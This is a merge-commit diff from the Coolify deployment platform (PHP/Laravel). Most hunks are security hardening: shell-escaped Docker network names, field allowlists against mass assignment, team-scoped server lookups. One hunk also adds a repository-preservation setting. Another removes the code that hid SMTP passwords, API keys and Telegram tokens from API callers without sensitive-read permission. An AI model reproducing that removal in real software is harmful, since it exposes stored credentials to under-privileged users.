Merge branch 'next' into feat/api/tag-management
This commit is contained in:
commit
2b573ef5ec
62 changed files with 1577 additions and 244 deletions
|
|
@ -37,12 +37,13 @@ public function create(array $input): User
|
|||
if (User::count() == 0) {
|
||||
// If this is the first user, make them the root user
|
||||
// Team is already created in the database/seeders/ProductionSeeder.php
|
||||
$user = User::create([
|
||||
$user = (new User)->forceFill([
|
||||
'id' => 0,
|
||||
'name' => $input['name'],
|
||||
'email' => $input['email'],
|
||||
'password' => Hash::make($input['password']),
|
||||
]);
|
||||
$user->save();
|
||||
$team = $user->teams()->first();
|
||||
|
||||
// Disable registration after first user is created
|
||||
|
|
|
|||
|
|
@ -40,10 +40,10 @@ public function handle(Service $service, bool $pullLatestImages = false, bool $s
|
|||
$commands[] = "docker network connect $service->uuid coolify-proxy >/dev/null 2>&1 || true";
|
||||
if (data_get($service, 'connect_to_docker_network')) {
|
||||
$compose = data_get($service, 'docker_compose', []);
|
||||
$network = $service->destination->network;
|
||||
$safeNetwork = escapeshellarg($service->destination->network);
|
||||
$serviceNames = data_get(Yaml::parse($compose), 'services', []);
|
||||
foreach ($serviceNames as $serviceName => $serviceConfig) {
|
||||
$commands[] = "docker network connect --alias {$serviceName}-{$service->uuid} $network {$serviceName}-{$service->uuid} >/dev/null 2>&1 || true";
|
||||
$commands[] = "docker network connect --alias {$serviceName}-{$service->uuid} {$safeNetwork} {$serviceName}-{$service->uuid} >/dev/null 2>&1 || true";
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -212,18 +212,19 @@ private function cleanupUnusedNetworkFromCoolifyProxy()
|
|||
$removeNetworks = $allNetworks->diff($networks);
|
||||
$commands = collect();
|
||||
foreach ($removeNetworks as $network) {
|
||||
$out = instant_remote_process(["docker network inspect -f json $network | jq '.[].Containers | if . == {} then null else . end'"], $server, false);
|
||||
$safe = escapeshellarg($network);
|
||||
$out = instant_remote_process(["docker network inspect -f json {$safe} | jq '.[].Containers | if . == {} then null else . end'"], $server, false);
|
||||
if (empty($out)) {
|
||||
$commands->push("docker network disconnect $network coolify-proxy >/dev/null 2>&1 || true");
|
||||
$commands->push("docker network rm $network >/dev/null 2>&1 || true");
|
||||
$commands->push("docker network disconnect {$safe} coolify-proxy >/dev/null 2>&1 || true");
|
||||
$commands->push("docker network rm {$safe} >/dev/null 2>&1 || true");
|
||||
} else {
|
||||
$data = collect(json_decode($out, true));
|
||||
if ($data->count() === 1) {
|
||||
// If only coolify-proxy itself is connected to that network (it should not be possible, but who knows)
|
||||
$isCoolifyProxyItself = data_get($data->first(), 'Name') === 'coolify-proxy';
|
||||
if ($isCoolifyProxyItself) {
|
||||
$commands->push("docker network disconnect $network coolify-proxy >/dev/null 2>&1 || true");
|
||||
$commands->push("docker network rm $network >/dev/null 2>&1 || true");
|
||||
$commands->push("docker network disconnect {$safe} coolify-proxy >/dev/null 2>&1 || true");
|
||||
$commands->push("docker network rm {$safe} >/dev/null 2>&1 || true");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -243,6 +243,7 @@ public function applications(Request $request)
|
|||
'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'],
|
||||
'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'],
|
||||
'tags' => ['type' => 'array', 'items' => new OA\Items(type: 'string'), 'description' => 'Tags to assign to the application.'],
|
||||
'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'],
|
||||
],
|
||||
)
|
||||
),
|
||||
|
|
@ -409,6 +410,7 @@ public function create_public_application(Request $request)
|
|||
'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'],
|
||||
'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'],
|
||||
'tags' => ['type' => 'array', 'items' => new OA\Items(type: 'string'), 'description' => 'Tags to assign to the application.'],
|
||||
'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'],
|
||||
],
|
||||
)
|
||||
),
|
||||
|
|
@ -575,6 +577,7 @@ public function create_private_gh_app_application(Request $request)
|
|||
'autogenerate_domain' => ['type' => 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'],
|
||||
'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'],
|
||||
'tags' => ['type' => 'array', 'items' => new OA\Items(type: 'string'), 'description' => 'Tags to assign to the application.'],
|
||||
'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'],
|
||||
],
|
||||
)
|
||||
),
|
||||
|
|
@ -1023,7 +1026,7 @@ private function create_application(Request $request, $type)
|
|||
if ($return instanceof JsonResponse) {
|
||||
return $return;
|
||||
}
|
||||
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled', 'tags'];
|
||||
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled', 'tags', 'is_preserve_repository_enabled'];
|
||||
|
||||
$validator = customApiValidator($request->all(), [
|
||||
'name' => 'string|max:255',
|
||||
|
|
@ -1074,6 +1077,7 @@ private function create_application(Request $request, $type)
|
|||
$connectToDockerNetwork = $request->connect_to_docker_network;
|
||||
$customNginxConfiguration = $request->custom_nginx_configuration;
|
||||
$isContainerLabelEscapeEnabled = $request->boolean('is_container_label_escape_enabled', true);
|
||||
$isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled',false);
|
||||
|
||||
if (! is_null($customNginxConfiguration)) {
|
||||
if (! isBase64Encoded($customNginxConfiguration)) {
|
||||
|
|
@ -1177,7 +1181,7 @@ private function create_application(Request $request, $type)
|
|||
$application = new Application;
|
||||
removeUnnecessaryFieldsFromRequest($request);
|
||||
|
||||
$application->fill($request->all());
|
||||
$application->fill($request->only($allowedFields));
|
||||
$dockerComposeDomainsJson = collect();
|
||||
if ($request->has('docker_compose_domains')) {
|
||||
$dockerComposeDomains = collect($request->docker_compose_domains);
|
||||
|
|
@ -1286,6 +1290,10 @@ private function create_application(Request $request, $type)
|
|||
$application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled;
|
||||
$application->settings->save();
|
||||
}
|
||||
if (isset($isPreserveRepositoryEnabled)) {
|
||||
$application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled;
|
||||
$application->settings->save();
|
||||
}
|
||||
$application->refresh();
|
||||
// Auto-generate domain if requested and no custom domain provided
|
||||
if ($autogenerateDomain && blank($fqdn)) {
|
||||
|
|
@ -1407,7 +1415,7 @@ private function create_application(Request $request, $type)
|
|||
$application = new Application;
|
||||
removeUnnecessaryFieldsFromRequest($request);
|
||||
|
||||
$application->fill($request->all());
|
||||
$application->fill($request->only($allowedFields));
|
||||
|
||||
$dockerComposeDomainsJson = collect();
|
||||
if ($request->has('docker_compose_domains')) {
|
||||
|
|
@ -1521,6 +1529,10 @@ private function create_application(Request $request, $type)
|
|||
$application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled;
|
||||
$application->settings->save();
|
||||
}
|
||||
if (isset($isPreserveRepositoryEnabled)) {
|
||||
$application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled;
|
||||
$application->settings->save();
|
||||
}
|
||||
if ($application->settings->is_container_label_readonly_enabled) {
|
||||
$application->custom_labels = str(implode('|coolify|', generateLabelsApplication($application)))->replace('|coolify|', "\n");
|
||||
$application->save();
|
||||
|
|
@ -1610,7 +1622,7 @@ private function create_application(Request $request, $type)
|
|||
$application = new Application;
|
||||
removeUnnecessaryFieldsFromRequest($request);
|
||||
|
||||
$application->fill($request->all());
|
||||
$application->fill($request->only($allowedFields));
|
||||
|
||||
$dockerComposeDomainsJson = collect();
|
||||
if ($request->has('docker_compose_domains')) {
|
||||
|
|
@ -1720,6 +1732,10 @@ private function create_application(Request $request, $type)
|
|||
$application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled;
|
||||
$application->settings->save();
|
||||
}
|
||||
if (isset($isPreserveRepositoryEnabled)) {
|
||||
$application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled;
|
||||
$application->settings->save();
|
||||
}
|
||||
if ($application->settings->is_container_label_readonly_enabled) {
|
||||
$application->custom_labels = str(implode('|coolify|', generateLabelsApplication($application)))->replace('|coolify|', "\n");
|
||||
$application->save();
|
||||
|
|
@ -1800,7 +1816,7 @@ private function create_application(Request $request, $type)
|
|||
}
|
||||
|
||||
$application = new Application;
|
||||
$application->fill($request->all());
|
||||
$application->fill($request->only($allowedFields));
|
||||
$application->fqdn = $fqdn;
|
||||
$application->ports_exposes = $port;
|
||||
$application->build_pack = 'dockerfile';
|
||||
|
|
@ -1915,7 +1931,7 @@ private function create_application(Request $request, $type)
|
|||
$application = new Application;
|
||||
removeUnnecessaryFieldsFromRequest($request);
|
||||
|
||||
$application->fill($request->all());
|
||||
$application->fill($request->only($allowedFields));
|
||||
$application->fqdn = $fqdn;
|
||||
$application->build_pack = 'dockerimage';
|
||||
$application->destination_id = $destination->id;
|
||||
|
|
@ -2034,7 +2050,7 @@ private function create_application(Request $request, $type)
|
|||
|
||||
$service = new Service;
|
||||
removeUnnecessaryFieldsFromRequest($request);
|
||||
$service->fill($request->all());
|
||||
$service->fill($request->only($allowedFields));
|
||||
|
||||
$service->docker_compose_raw = $dockerComposeRaw;
|
||||
$service->environment_id = $environment->id;
|
||||
|
|
@ -2428,6 +2444,7 @@ public function delete_by_uuid(Request $request)
|
|||
'connect_to_docker_network' => ['type' => 'boolean', 'description' => 'The flag to connect the service to the predefined Docker network.'],
|
||||
'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'],
|
||||
'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'],
|
||||
'is_preserve_repository_enabled' => ['type' => 'boolean', 'description' => 'Preserve git repository during application update. If false, the existing repository will be removed and replaced with the new one. If true, the existing repository will be kept and the new one will be ignored. Default is false.'],
|
||||
],
|
||||
)
|
||||
),
|
||||
|
|
@ -2513,7 +2530,7 @@ public function update_by_uuid(Request $request)
|
|||
$this->authorize('update', $application);
|
||||
|
||||
$server = $application->destination->server;
|
||||
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
|
||||
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled'];
|
||||
|
||||
$validationRules = [
|
||||
'name' => 'string|max:255',
|
||||
|
|
@ -2760,7 +2777,7 @@ public function update_by_uuid(Request $request)
|
|||
$connectToDockerNetwork = $request->connect_to_docker_network;
|
||||
$useBuildServer = $request->use_build_server;
|
||||
$isContainerLabelEscapeEnabled = $request->boolean('is_container_label_escape_enabled');
|
||||
|
||||
$isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled');
|
||||
if (isset($useBuildServer)) {
|
||||
$application->settings->is_build_server_enabled = $useBuildServer;
|
||||
$application->settings->save();
|
||||
|
|
@ -2795,10 +2812,13 @@ public function update_by_uuid(Request $request)
|
|||
$application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled;
|
||||
$application->settings->save();
|
||||
}
|
||||
|
||||
if ($request->has('is_preserve_repository_enabled')) {
|
||||
$application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled;
|
||||
$application->settings->save();
|
||||
}
|
||||
removeUnnecessaryFieldsFromRequest($request);
|
||||
|
||||
$data = $request->all();
|
||||
$data = $request->only($allowedFields);
|
||||
if ($requestHasDomains && $server->isProxyShouldRun()) {
|
||||
data_set($data, 'fqdn', $domains);
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1773,13 +1773,13 @@ public function create_database(Request $request, NewDatabaseTypes $type)
|
|||
}
|
||||
$request->offsetSet('postgres_conf', $postgresConf);
|
||||
}
|
||||
$database = create_standalone_postgresql($environment->id, $destination->uuid, $request->all());
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
$database = create_standalone_postgresql($environment->id, $destination->uuid, $request->only($allowedFields));
|
||||
if ($instantDeploy) {
|
||||
StartDatabase::dispatch($database);
|
||||
}
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
$database->refresh();
|
||||
$payload = [
|
||||
'uuid' => $database->uuid,
|
||||
|
|
@ -1831,13 +1831,13 @@ public function create_database(Request $request, NewDatabaseTypes $type)
|
|||
}
|
||||
$request->offsetSet('mariadb_conf', $mariadbConf);
|
||||
}
|
||||
$database = create_standalone_mariadb($environment->id, $destination->uuid, $request->all());
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
$database = create_standalone_mariadb($environment->id, $destination->uuid, $request->only($allowedFields));
|
||||
if ($instantDeploy) {
|
||||
StartDatabase::dispatch($database);
|
||||
}
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
|
||||
$database->refresh();
|
||||
$payload = [
|
||||
|
|
@ -1893,13 +1893,13 @@ public function create_database(Request $request, NewDatabaseTypes $type)
|
|||
}
|
||||
$request->offsetSet('mysql_conf', $mysqlConf);
|
||||
}
|
||||
$database = create_standalone_mysql($environment->id, $destination->uuid, $request->all());
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
$database = create_standalone_mysql($environment->id, $destination->uuid, $request->only($allowedFields));
|
||||
if ($instantDeploy) {
|
||||
StartDatabase::dispatch($database);
|
||||
}
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
|
||||
$database->refresh();
|
||||
$payload = [
|
||||
|
|
@ -1952,13 +1952,13 @@ public function create_database(Request $request, NewDatabaseTypes $type)
|
|||
}
|
||||
$request->offsetSet('redis_conf', $redisConf);
|
||||
}
|
||||
$database = create_standalone_redis($environment->id, $destination->uuid, $request->all());
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
$database = create_standalone_redis($environment->id, $destination->uuid, $request->only($allowedFields));
|
||||
if ($instantDeploy) {
|
||||
StartDatabase::dispatch($database);
|
||||
}
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
|
||||
$database->refresh();
|
||||
$payload = [
|
||||
|
|
@ -1992,13 +1992,13 @@ public function create_database(Request $request, NewDatabaseTypes $type)
|
|||
}
|
||||
|
||||
removeUnnecessaryFieldsFromRequest($request);
|
||||
$database = create_standalone_dragonfly($environment->id, $destination->uuid, $request->all());
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
$database = create_standalone_dragonfly($environment->id, $destination->uuid, $request->only($allowedFields));
|
||||
if ($instantDeploy) {
|
||||
StartDatabase::dispatch($database);
|
||||
}
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
|
||||
return response()->json(serializeApiResponse([
|
||||
'uuid' => $database->uuid,
|
||||
|
|
@ -2044,13 +2044,13 @@ public function create_database(Request $request, NewDatabaseTypes $type)
|
|||
}
|
||||
$request->offsetSet('keydb_conf', $keydbConf);
|
||||
}
|
||||
$database = create_standalone_keydb($environment->id, $destination->uuid, $request->all());
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
$database = create_standalone_keydb($environment->id, $destination->uuid, $request->only($allowedFields));
|
||||
if ($instantDeploy) {
|
||||
StartDatabase::dispatch($database);
|
||||
}
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
|
||||
$database->refresh();
|
||||
$payload = [
|
||||
|
|
@ -2083,13 +2083,13 @@ public function create_database(Request $request, NewDatabaseTypes $type)
|
|||
], 422);
|
||||
}
|
||||
removeUnnecessaryFieldsFromRequest($request);
|
||||
$database = create_standalone_clickhouse($environment->id, $destination->uuid, $request->all());
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
$database = create_standalone_clickhouse($environment->id, $destination->uuid, $request->only($allowedFields));
|
||||
if ($instantDeploy) {
|
||||
StartDatabase::dispatch($database);
|
||||
}
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
|
||||
$database->refresh();
|
||||
$payload = [
|
||||
|
|
@ -2144,13 +2144,13 @@ public function create_database(Request $request, NewDatabaseTypes $type)
|
|||
}
|
||||
$request->offsetSet('mongo_conf', $mongoConf);
|
||||
}
|
||||
$database = create_standalone_mongodb($environment->id, $destination->uuid, $request->all());
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
$database = create_standalone_mongodb($environment->id, $destination->uuid, $request->only($allowedFields));
|
||||
if ($instantDeploy) {
|
||||
StartDatabase::dispatch($database);
|
||||
}
|
||||
if ($request->has('tags')) {
|
||||
$this->attachTagsToResource($database, $request->tags, $teamId);
|
||||
}
|
||||
|
||||
$database->refresh();
|
||||
$payload = [
|
||||
|
|
|
|||
|
|
@ -250,7 +250,7 @@ public function cancel_deployment(Request $request)
|
|||
]);
|
||||
|
||||
// Get the server
|
||||
$server = Server::find($build_server_id);
|
||||
$server = Server::whereTeamId($teamId)->find($build_server_id);
|
||||
|
||||
if ($server) {
|
||||
// Add cancellation log entry
|
||||
|
|
|
|||
|
|
@ -4,6 +4,7 @@
|
|||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\PrivateKey;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use OpenApi\Attributes as OA;
|
||||
|
||||
|
|
@ -176,7 +177,7 @@ public function create_key(Request $request)
|
|||
return invalidTokenResponse();
|
||||
}
|
||||
$return = validateIncomingRequest($request);
|
||||
if ($return instanceof \Illuminate\Http\JsonResponse) {
|
||||
if ($return instanceof JsonResponse) {
|
||||
return $return;
|
||||
}
|
||||
$validator = customApiValidator($request->all(), [
|
||||
|
|
@ -300,7 +301,7 @@ public function update_key(Request $request)
|
|||
return invalidTokenResponse();
|
||||
}
|
||||
$return = validateIncomingRequest($request);
|
||||
if ($return instanceof \Illuminate\Http\JsonResponse) {
|
||||
if ($return instanceof JsonResponse) {
|
||||
return $return;
|
||||
}
|
||||
|
||||
|
|
@ -330,7 +331,7 @@ public function update_key(Request $request)
|
|||
'message' => 'Private Key not found.',
|
||||
], 404);
|
||||
}
|
||||
$foundKey->update($request->all());
|
||||
$foundKey->update($request->only($allowedFields));
|
||||
|
||||
return response()->json(serializeApiResponse([
|
||||
'uuid' => $foundKey->uuid,
|
||||
|
|
|
|||
|
|
@ -14,14 +14,6 @@ private function removeSensitiveData($team)
|
|||
'custom_server_limit',
|
||||
'pivot',
|
||||
]);
|
||||
if (request()->attributes->get('can_read_sensitive', false) === false) {
|
||||
$team->makeHidden([
|
||||
'smtp_username',
|
||||
'smtp_password',
|
||||
'resend_api_key',
|
||||
'telegram_token',
|
||||
]);
|
||||
}
|
||||
|
||||
return serializeApiResponse($team);
|
||||
}
|
||||
|
|
|
|||
|
|
@ -288,7 +288,8 @@ public function handle(): void
|
|||
// Make sure the private key is stored in the filesystem
|
||||
$this->server->privateKey->storeInFileSystem();
|
||||
// Generate custom host<->ip mapping
|
||||
$allContainers = instant_remote_process(["docker network inspect {$this->destination->network} -f '{{json .Containers}}' "], $this->server);
|
||||
$safeNetwork = escapeshellarg($this->destination->network);
|
||||
$allContainers = instant_remote_process(["docker network inspect {$safeNetwork} -f '{{json .Containers}}' "], $this->server);
|
||||
|
||||
if (! is_null($allContainers)) {
|
||||
$allContainers = format_docker_command_output_to_json($allContainers);
|
||||
|
|
@ -2015,9 +2016,11 @@ private function prepare_builder_image(bool $firstTry = true)
|
|||
$runCommand = "docker run -d --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}";
|
||||
} else {
|
||||
if ($this->dockerConfigFileExists === 'OK') {
|
||||
$runCommand = "docker run -d --network {$this->destination->network} --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}";
|
||||
$safeNetwork = escapeshellarg($this->destination->network);
|
||||
$runCommand = "docker run -d --network {$safeNetwork} --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}";
|
||||
} else {
|
||||
$runCommand = "docker run -d --network {$this->destination->network} --name {$this->deployment_uuid} {$env_flags} --rm -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}";
|
||||
$safeNetwork = escapeshellarg($this->destination->network);
|
||||
$runCommand = "docker run -d --network {$safeNetwork} --name {$this->deployment_uuid} {$env_flags} --rm -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}";
|
||||
}
|
||||
}
|
||||
if ($firstTry) {
|
||||
|
|
@ -3046,28 +3049,29 @@ private function build_image()
|
|||
$this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]);
|
||||
} else {
|
||||
// Dockerfile buildpack
|
||||
$safeNetwork = escapeshellarg($this->destination->network);
|
||||
if ($this->dockerSecretsSupported) {
|
||||
// Modify the Dockerfile to use build secrets
|
||||
$this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}");
|
||||
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
|
||||
if ($this->force_rebuild) {
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}");
|
||||
} else {
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}");
|
||||
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}");
|
||||
}
|
||||
} elseif ($this->dockerBuildkitSupported) {
|
||||
// BuildKit without secrets
|
||||
if ($this->force_rebuild) {
|
||||
